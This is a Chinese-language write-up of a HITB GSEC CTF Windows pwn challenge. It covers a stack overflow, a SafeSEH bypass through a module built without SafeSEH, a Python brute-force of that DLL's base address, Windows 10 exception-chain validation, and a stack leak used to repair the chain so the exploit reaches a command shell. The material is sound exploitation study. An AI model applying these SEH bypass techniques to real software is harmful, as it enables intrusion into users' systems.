作者:k0shl 转载请注明出处,作者博客:https://whereisk0shl.top
这次在HITB GSEC CTF打酱油,也有了一次学习的机会,这次CTF出现了两道Windows pwn,我个人感觉质量非常高,因为题目出了本身无脑洞的漏洞之外,更多的让选手们专注于对Windows系统的防护机制(seh)原理的研究,再配合漏洞来完成对机制的突破和利用,在我做完之后重新整理整个解题过程,略微有一些窒息的感觉,感觉整个利用链环环相扣,十分精彩,不得不膜一下Atum大佬,题目出的真的好!对于菜鸟来说,是一次非常好的锻炼机会。
因此我认真总结了我们从拿到题目,多种尝试,不断改进exp,到最后获得shell的整个过程,而不仅仅是针对题目,希望能对同样奋斗在win pwn的小伙伴有一些帮助。
拿到题目的时候,我们发现程序存在一个很明显的栈溢出,而且题目给的一些条件非常好,在栈结构中存在SEH链,在常规的利用SEH链进行栈溢出从而控制eip的过程中,我们会使用栈溢出覆盖seh handler,这是一个seh chain中的一个指针,它指向了异常处理函数。
但是程序中开启了safeseh,也就是说,单纯的通过覆盖seh handler跳转是不够的,我们首先需要bypass safeseh。
OK,我们来看题目。
在题目主函数中,首先在scmgr.dll中会初始化存放shellcode的堆,调用的是VirtualAlloc函数,并且会打印堆地址。
v0 = VirtualAlloc(0, 20 * SystemInfo.dwPageSize, 0x1000u, 0x40u);//注意这里的flprotect是0x40
dword_1000338C = (int)v0;
if ( v0 )
{
sub_10001020("Global memory alloc at %p\n", (char)v0);//打印堆地址
result = dword_1000338C;
dword_10003388 = dword_1000338C;
}
这里VirtualAlloc中有一个参数是flprotect,值是0x40,表示拥有RWE权限。
#define PAGE_EXECUTE_READWRITE 0x40
这个堆地址会用于存放shellcode,在CreateShellcode函数中会将shellcode拷贝到Memory空间里。
v4 = 0;//v4在最开始拷贝的时候值是0
⋯⋯
v11 = (int)*(&Memory + v4);//将Memory地址指针交给v11
v13 = getchar();
v14 = 0;
if ( v12 )
{
do
{
*(_BYTE *)(v14++ + v15) = v13;//为Memory赋值
v13 = getchar();
}
while ( v14 != v12 );
v4 = v16;
}
执行结束之后可以看到shellcode已经被拷贝到目标空间中。
随后执行runshellcode指令的时候,会调用“虚函数”,这里用引号表示,其实并不是真正的虚函数,只是虚函数的一种常见调用方法(做了CFG check,这里有个小插曲),实际上调用的是VirtualAlloc出来的堆的地址。
v4 = *(void (**)(void))(v1 + 4);
__guard_check_icall_fptr(*(_DWORD *)(v1 + 4));
v4();
可以看到这里有个CFG check,之前我们一直以为环境是Win7,在Win7里CFG没有实装,这个在我之前的一篇IE11浏览器漏洞的文章中也提到过(https://whereisk0shl.top/cve_2017_0037_ie11&edge_type_confusion.html),因此这个Check是没用的,但是后来得知系统是Win10(这个后面会提到),这里会检查指针是否合法,这里无论如何都会合法,因为v1+4位置的值控制不了,这里就是指向堆地址。
这里跳转到堆地址后会由于shellcode头部4字节被修改,导致进入堆地址后是无效的汇编指令。
byte_405448 = 1;
puts("Hey, Welcome to shellcode test system!");
if ( byte_405448 )
{
v3 = *(_DWORD **)(v1 + 4);
memcpy(&Dst, *(const void **)(v1 + 4), *(_DWORD *)(v1 + 8));//这里没有对长度进行控制,造成栈溢出
*v3 = -1;
}
byte_405448是一个全局变量is_guard,它在runshellcode里决定了存放shellcode堆指针指向的shellcode前4字节是否改成0xffffffff,这里byte_405448的值是1,因此头部会被修改,而我们也必须进入这里,只有这里才能造成栈溢出。
0:000> g
Breakpoint 1 hit
eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=00a113f3 esp=002bf794 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x13f3:
00a113f3 c706ffffffff mov dword ptr [esi],0FFFFFFFFh ds:0023:000e0000=61616161//shellcode头部被修改前正常
0:000> dd e0000 l1
000e0000 61616161
0:000> p
eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=00a113f9 esp=002bf794 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x13f9:
00a113f9 8b7704 mov esi,dword ptr [edi+4] ds:0023:0048e434=000e0000
0:000> dd e0000 l1//头部被修改成0xffffffff
000e0000 ffffffff
随后我们跳转到头部执行,由于指令异常进入异常处理模块。
0:000> p
eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=00a11404 esp=002bf794 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x1404:
00a11404 ffd6 call esi {000e0000}//跳转到堆
0:000> t
eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=000e0000 esp=002bf790 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
000e0000 ff ???//异常指令
0:000> p//进入异常处理模块
(20f90.20f9c): Illegal instruction - code c000001d (first chance)
eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430
eip=770b6bc9 esp=002bf340 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ntdll!KiUserExceptionDispatcher+0x1:
770b6bc9 8b4c2404 mov ecx,dword ptr [esp+4] ss:0023:002bf344=002bf35c
利用SEH是栈溢出里常见的一种利用方法,在没有SafeSEH和SEHOP的情况下,可以利用seh里一个特殊的结构seh handler,通过覆盖它来完成eip/rip的控制,它指向的是异常处理函数,而加入了safeseh之后,会对sehhandler进行check,检查它是否可信,不可信的话返回0,则不会跳转到seh handler。而这个safeseh的check在ntdll的RtlIsValidHandler函数中,几年前Alex就发了关于这个函数的解读,现在伪代码遍地都是了。
BOOL RtlIsValidHandler(handler)
{
if (handler is in an image)//step 1
{
// 在加载模块的进程空间
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
return FALSE; // 该标志设置,忽略异常处理,直接返回FALSE
if (image has a SafeSEH table) // 是否含有SEH表
if (handler found in the table)
return TRUE; // 异常处理handle在表中,返回TRUE
else
return FALSE; // 异常处理handle不在表中,返回FALSE
if (image is a .NET assembly with the ILonly flag set)
return FALSE; // .NET 返回FALSE
// fall through
}
if (handler is on a non-executable page)//step 2
{
// handle在不可执行页上面
if (ExecuteDispatchEnable bit set in the process flags)
return TRUE; // DEP关闭,返回TRUE;否则抛出异常
else
raise ACCESS_VIOLATION; // enforce DEP even if we have no hardware NX
}
if (handler is not in an image)//step 3
{
// 在加载模块内存之外,并且是可执行页
if (ImageDispatchEnable bit set in the process flags)
return TRUE; // 允许在加载模块内存空间外执行,返回验证成功
else
return FALSE; // don't allow handlers outside of images
}
// everything else is allowed
return TRUE;
}
首先我们想到的是利用堆指针来bypass safeseh,正好这个堆地址指向的shellcode,但是由于头部四字节呗修改成了0xffffffff,因此我们只需要覆盖seh handler为heap address+4,然后把shellcode跳过开头4字节编码,头4字节放任意字符串(反正会被编码成0xffffffff),然后后面放shellcode的内容,应该就可以达到利用了(事实证明我too young too naive了,这个方法在win xp下可以用。)
于是我们想到的栈布局如下:
但我们这样执行后,在windows xp下可以完成,但是win7下依然crash了,这就需要我们跟进ntdll!RtlIsValidHandler函数,回头看下伪代码部分。
这里有三步check,首先step1,if是不通过的因为堆地址属于加载进程外的地址,同理step2也是不通过的,因为堆地址申请的时候是可执行的,之所以用堆绕过SafeSEH是因为堆地址属于当前进程加载内存映像空间之外的地址。
0:000> !address e0000
Usage: <unclassified>
Allocation Base: 000e0000
Base Address: 000e0000
End Address: 000f4000
Region Size: 00014000
Type: 00020000 MEM_PRIVATE
State: 00001000 MEM_COMMIT
Protect: 00000040 PAGE_EXECUTE_READWRITE
那么safeseh进入step 3,又是加载模块内存之外的,又是可执行的,在winxp,通过堆绕过是可行的,但是在Win7及以上版本就不行了,为什么呢,因为这里多了一个Check,内容是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE,它决定了是否允许在加载模块内存空间外执行。
这里只有当第六个比特为1时,才是可执行的
这里值是0x4d,也就是1001101,第六个比特是0,也就是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE是不允许的,因此会return FALSE。
0:000> p
eax=00000000 ebx=000e0000 ecx=002bf254 edx=770b6c74 esi=002bf348 edi=00000000
eip=77100224 esp=002bf274 ebp=002bf2b0 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
ntdll!RtlIsValidHandler+0xff:
77100224 8a450c mov al,byte ptr [ebp+0Ch] ss:0023:002bf2bc=4d
0:000> p
eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000
eip=7708f88d esp=002bf2b4 ebp=002bf330 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlIsValidHandler+0xfc:
7708f88d c20800 ret 8
0:000> p
eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000
eip=7708f9fe esp=002bf2c0 ebp=002bf330 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0x10e:
7708f9fe 84c0 test al,al
0:000> r al
al=0
通过堆绕过的方法失败了,我们又找到了其他方法,就是通过未开启safeseh的dll的方法来绕过safeseh,这里我们找到了scmgr.dll,它是一个未开启safeseh的模块,这个可以直接通过od的OllySSEH功能看到SafeSEH的开启状态。
这里我们只需要把seh handler指向scmgr.dll就可以了,而且我们在scmgr.dll里发现,其实system('cmd')已经在里面了,只需要跳转过去就可以了。
.text:10001100 public getshell_test
.text:10001100 getshell_test proc near ; DATA XREF: .rdata:off_10002518o
.text:10001100 push offset Command ; "cmd"
.text:10001105 call ds:system
.text:1000110B ; 3: return 0;
.text:1000110B add esp, 4
.text:1000110E xor eax, eax
.text:10001110 retn
.text:10001110 getshell_test endp
但是这里有一个问题,就是scmgr.dll的基址是多少,这里我们想了两种方法来获得基址,一个是爆破,因为我们发现scmgr.dll在每次进程重启的时候基址都不变,因此我们只需要在0x60000000-0x8000000之间爆破就可以,0x8000000之上是内核空间的地址了,因此只需要爆破这个范围即可。(由于刚开始以为是win7,所以爆破的时候有一点没有考虑到,导致目标总是crash,我们也找不到原因,本地测试是完全没问题的,后面会提到)。
还有一种方法是我们看到了set shellcodeguard函数,这个就是我们之前提到对is_guard那个全局变量设置的函数,但实际上,这个也没法把这个值置0,毕竟置0之后直接就能撸shellcode了,但我们关注到Disable Shellcode Guard中一个有趣的加密。
puts("1. Disable ShellcodeGuard");
puts("2. Enable ShellcodeGuard");
⋯⋯
if ( v2 == 1 )//加密在这里
{
v3 = ((int (*)(void))sub_4017F0)();
v4 = sub_4017F0(v3);
v5 = sub_4017F0(v4);
v6 = sub_4017F0(v5);
v7 = sub_4017F0(v6);
v8 = sub_4017F0(v7);
sub_4017C0("Your challenge code is %x-%x-%x-%x-%x-%x\n", v8);
puts("challenge response:");
v9 = 0;
v10 = getchar();
do
{
if ( v10 == 10 )
break;
++v9;
v10 = getchar();
}
while ( v9 != 20 );
puts("respose wrong!");
}
else//当v2为0的时候是Enable Shellcode Guard,全局变量置1
{
if ( v2 == 2 )
{
byte_405448 = 1;
return 0;
}
puts("wrong option");
}
这个加密其实很复杂的。
后来官方也给出了hint,Hint for babyshellcode: The algorithm is neither irreversible nor z3-solvable.告诉大家这个加密算法不可逆,别想了!
先我们来看一下这个加密算法加密的什么玩意,我们跟入这个算法。
0:000> p
eax=ae7e77d0 ebx=0000001f ecx=0cd4ae6b edx=00000000 esi=00ae7e77 edi=354eaad0
eip=00a11818 esp=0016fcd8 ebp=0016fd08 iopl=0 ov up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a07
babyshellcode+0x1818:
*** WARNING: Unable to verify checksum for C:\Users\sh1\Desktop\scmgr.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\sh1\Desktop\scmgr.dll -
00a11818 3334955054a100 xor esi,dword ptr babyshellcode+0x5450 (00a15450)[edx*4] ds:0023:00a15450={scmgr!init_scmgr (67bc1090)}
发现在算法初始化的时候,加密的是scmgr!init_scmgr的地址,也就是67bc1090,这个就厉害了,既然不可逆,我们把这个算法dump出来正向爆破去算,如果结果等于最后加密的结果,那就是碰到基址了,这样一是不用频繁和服务器交互,二是及时dll每次进程重启基址都改变,也能直接通过这种方法不令进程崩溃也能获得到基址。
def gen_cha_code(base):
init_scmgr = base*0x10000 +0x1090
value = init_scmgr
g_table = [value]
for i in range(31):
value = (value * 69069)&0xffffffff
g_table.append(value)
g_index = 0
v0 = (g_index-1)&0x1f
v2 = g_table[(g_index+3)&0x1f]^g_table[g_index]^(g_table[(g_index+3)&0x1f]>>8)
v1 = g_table[v0]
v3 = g_table[(g_index + 10) & 0x1F]
v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14)
v4 = v4&0xffffffff
g_table[g_index] = v2^v4
g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7))&0xffffffff
g_index = (g_index - 1) & 0x1F
return g_table[g_index]
这样,获取到基址之后,我们就能够构造seh handler了,直接令seh handler指向getshell_test就直接能获得和目标的shell交互了。通过栈溢出覆盖seh chain。
0:000> !exchain
0016fcf8: scmgr!getshell_test+0 (67bc1100)
Invalid exception stack at 0d16fd74
进入safeseh,由于在nosafeseh空间,返回true,该地址可信。
0:000> p
eax=72b61100 ebx=0023f99c ecx=0023f424 edx=770b6c74 esi=0023f4c8 edi=00000000
eip=7708f9f9 esp=0023f438 ebp=0023f4b0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ntdll!RtlDispatchException+0x109:
7708f9f9 e815feffff call ntdll!RtlIsValidHandler (7708f813)
0:000> p
eax=0023f401 ebx=0023f99c ecx=73a791c6 edx=00000000 esi=0023f4c8 edi=00000000
eip=7708f9fe esp=0023f440 ebp=0023f4b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0x10e:
7708f9fe 84c0 test al,al
0:000> r al
al=1
进入call seh handler,跳转到getshell_test。
0:000> p
eax=00000000 ebx=00000000 ecx=73a791c6 edx=770b6d8d esi=00000000 edi=00000000
eip=770b6d74 esp=0023f3e4 ebp=0023f400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x21:
770b6d74 8b4d18 mov ecx,dword ptr [ebp+18h] ss:0023:0023f418={scmgr!getshell_test (72b61100)}
0:000> p
eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000
eip=770b6d77 esp=0023f3e4 ebp=0023f400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ExecuteHandler2+0x24:
770b6d77 ffd1 call ecx {scmgr!getshell_test (72b61100)}
0:000> t
eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000
eip=72b61100 esp=0023f3e0 ebp=0023f400 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
scmgr!getshell_test:
72b61100 68f420b672 push offset scmgr!getshell_test+0xff4 (72b620f4)
到这里利用就完整了吗?我们在win7下没问题了,但是在目标却一直crash掉,实在是搞不明白,后来才知道,我们用错了环境!原来目标是Win10...
Win10的SafeSEH和Win7又有所区别,这里要提到SEH的两个域,一个是prev域和handler域,prev域会存放一个指向下一个seh chain的栈地址,handler域就是存放的seh handler,而Win10里面多了一个Check函数ntdll!RtlpIsValidExceptionChain,这个函数会去获得当前seh chain的prev域的值。
0:000> p//这里我们覆盖prev为0x61616161
eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=030ff278 edi=030fd000
eip=7771ea79 esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!RtlpIsValidExceptionChain+0x2b:
7771ea79 8b31 mov esi,dword ptr [ecx] ds:002b:030ff7ac=61616161
0:000> p
eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000
eip=7771ea7b esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!RtlpIsValidExceptionChain+0x2d:
7771ea7b 83feff cmp esi,0FFFFFFFFh
0:000> p
eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000
eip=7771ea7e esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213
ntdll!RtlpIsValidExceptionChain+0x30:
7771ea7e 740f je ntdll!RtlpIsValidExceptionChain+0x41 (7771ea8f) [br=0]
随后,会去和seh表里存放的prev域的值进行比较。
0:000> p
eax=030ff7b4 ebx=03100000 ecx=61616161 edx=6fdd1100 esi=61616161 edi=030fd000
eip=7771ea8a esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213
ntdll!RtlpIsValidExceptionChain+0x3c:
7771ea8a 8d53f8 lea edx,[ebx-8]
0:000> p
eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000
eip=7771ea8d esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213
ntdll!RtlpIsValidExceptionChain+0x3f:
7771ea8d ebd6 jmp ntdll!RtlpIsValidExceptionChain+0x17 (7771ea65)
0:000> p
eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000
eip=7771ea65 esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213
ntdll!RtlpIsValidExceptionChain+0x17:
7771ea65 3bc1 cmp eax,ecx//ecx寄存器存放的是栈里被覆盖的,eax存放的是正常的pointer to next chain
可以看到这里检测是不通过的,因此造成了crash,所以,我们需要对seh chain进行fix,把pointer to next chain修改成下一个seh chain的栈地址,这就需要我们获取当前的栈地址,栈地址是自动动态申请和回收的,和堆不一样,因此每次栈地址都会发生变化,我们需要一个stack info leak。
于是我们在程序中找到了这样一个stack info leak的漏洞,开头有个stack info leak,在最开始的位置。
v1 = getchar();
do
{
if ( v1 == 10 )
break;
*((_BYTE *)&v5 + v0++) = v1;
v1 = getchar();
}
while ( v0 != 300 );
sub_4017C0("hello %s\n", &v5);
0:000> g//一字节一字节写入,esi是计数器,ebp-18h是指向拷贝目标的指针
Breakpoint 0 hit
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8
eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x16a4:
000a16a4 884435e8 mov byte ptr [ebp+esi-18h],al ss:0023:0036f920=00
0:000> p
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8
eip=000a16a8 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x16a8:
000a16a8 46 inc esi
0:000> p//获取下一字节
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000001 edi=005488a8
eip=000a16a9 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
babyshellcode+0x16a9:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Users\sh1\Desktop\ucrtbase.DLL -
000a16a9 ff15e4300a00 call dword ptr [babyshellcode+0x30e4 (000a30e4)] ds:0023:000a30e4={ucrtbase!getchar (5740b260)}
0:000> p//判断长度
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16af esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
babyshellcode+0x16af:
000a16af 81fe2c010000 cmp esi,12Ch
0:000> p
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16b5 esp=0036f90c ebp=0036f938 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
babyshellcode+0x16b5:
000a16b5 75e9 jne babyshellcode+0x16a0 (000a16a0) [br=1]
0:000> p//判断是否是回车
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16a0 esp=0036f90c ebp=0036f938 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
babyshellcode+0x16a0:
000a16a0 3c0a cmp al,0Ah
0:000> p
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16a2 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x16a2:
000a16a2 7413 je babyshellcode+0x16b7 (000a16b7) [br=0]
0:000> p//继续写入
Breakpoint 0 hit
eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8
eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
babyshellcode+0x16a4:
000a16a4 884435e8 mov byte ptr [ebp+esi-18h],al ss:0023:0036f921=00
这里判断的长度是0x12C,也就是300,但实际上拷贝目标ebp-18很短,而esi会不断增加,而没有做控制,最关键的是这个过程。
.text:004016A4 ; 20: *((_BYTE *)&v5 + v0++) = v1;
.text:004016A4 mov byte ptr [ebp+esi+var_18], al
.text:004016A8 ; 21: v1 = getchar();
.text:004016A8 inc esi//key!!
.text:004016A9 call ds:getchar
.text:004016AF ; 23: while ( v0 != 300 );
.text:004016AF cmp esi, 12Ch
这里是在赋值结束之后,才将esi自加1,然后才去做长度判断,然后再跳转去做是否回车的判断,如果回车则退出,也就是说,这里会多造成4字节的内存泄漏,我们来看一下赋值过程中的内存情况。
0:000> dd ebp-18 l7
0036f920 00000061 00000000 00000000 00000000
0036f930 00000000 1ea6b8ab 0036f980
可以看到,在0036f920地址便宜+0x18的位置存放着一个栈地址,也就是说,如果我们让name的长度覆盖到0036f938位置的时候,多泄露的4字节是一个栈地址,这样我们就可以用来fix seh stack了。
有了这个内存泄漏,我们就可以重新构造栈布局了,栈布局如下:
这样,结合之前我们的整个利用过程,完成整个利用链,最后完成shell交互。